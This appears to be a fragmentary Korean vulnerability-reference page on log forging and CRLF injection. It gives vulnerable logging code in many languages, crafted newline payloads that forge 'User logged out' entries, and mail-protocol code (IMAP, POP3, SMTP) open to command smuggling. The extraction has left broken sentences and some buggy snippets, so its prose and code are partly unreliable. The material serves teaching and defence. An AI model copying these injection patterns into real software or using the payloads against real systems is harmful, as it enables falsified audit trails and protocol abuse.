VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
logout
에 대해 "twenty-one
" 문자열을 제출하고 "admin
"이라는 이름을 가진 사용자를 생성할 수 있는 경우 다음 항목이 기록됩니다.
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
"라는 사용자 이름을 생성할 수 있으면 다음 항목이 기록됩니다.
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
을 Android 플랫폼에 맞게 조정합니다.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
logout
에 대해 "twenty-one
" 문자열을 제출하고 "admin
"이라는 이름을 가진 사용자를 생성할 수 있는 경우 다음 항목이 기록됩니다.
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
"라는 사용자 이름을 생성할 수 있으면 다음 항목이 기록됩니다.
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
logout
에 대해 "twenty-one
" 문자열을 제출하고 "admin
"이라는 이름을 가진 사용자를 생성할 수 있는 경우 다음 항목이 기록됩니다.
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
"라는 사용자 이름을 생성할 수 있으면 다음 항목이 기록됩니다.
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
Failed to parse val=twenty-one
User logged out=badguy
@HttpGet
global static void doGet() {
RestRequest req = RestContext.request;
String val = req.params.get('val');
try {
Integer i = Integer.valueOf(val);
...
} catch (TypeException e) {
System.Debug(LoggingLevel.INFO, 'Failed to parse val: '+val);
}
}
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
Failed to parse val: twenty-one
twenty-one%0a%0aUser+logged+out%3dbadguy
" 문자열을 다음 항목이 기록됩니다.
Failed to parse val: twenty-one
User logged out=badguy
...
String val = request.Params["val"];
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val = " + val);
}
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
을 Android 플랫폼에 맞게 조정합니다.
...
String val = this.Intent.Extras.GetString("val");
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
Log.E(TAG, "Failed to parse val = " + val);
}
...
...
var idValue string
idValue = req.URL.Query().Get("id")
num, err := strconv.Atoi(idValue)
if err != nil {
sysLog.Debug("Failed to parse value: " + idValue)
}
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
을 Android 플랫폼에 맞게 조정합니다.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.error("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = request.GET["val"]
try:
int_value = int(val)
except:
logger.debug("Failed to parse val = " + val)
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = req['val']
unless val.respond_to?(:to_int)
logger.debug("Failed to parse val")
logger.debug(val)
end
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
DEBUG: Failed to parse val
DEBUG: twenty-one
twenty-one%0a%DEBUG:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
DEBUG: Failed to parse val
DEBUG: twenty-one
DEBUG: User logged out=badguy
CREATE
명령을 만듭니다. 공격자는 이 매개 변수를 사용하여 서버로 전송되는 명령을 수정하고 CRLF 문자를 사용하여 새 명령을 삽입할 수 있습니다.
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
및 PASS
명령을 만듭니다. 공격자는 이 매개 변수를 사용하여 서버로 전송되는 명령을 수정하고 CRLF 문자를 사용하여 새 명령을 삽입할 수 있습니다.
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
명령을 작성합니다. 공격자는 이 매개 변수를 사용하여 서버로 전송된 명령을 수정하고 CRLF 문자를 사용하는 새 명령을 주입할 수 있습니다.
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
명령을 만듭니다. 공격자는 이 매개 변수를 사용하여 서버로 전송되는 명령을 수정하고 CRLF 문자를 사용하여 새 명령을 삽입할 수 있습니다.
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
명령을 만듭니다. 공격자는 이 매개 변수를 사용하여 서버로 전송되는 명령을 수정하고 CRLF 문자를 사용하여 새 명령을 삽입할 수 있습니다.
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...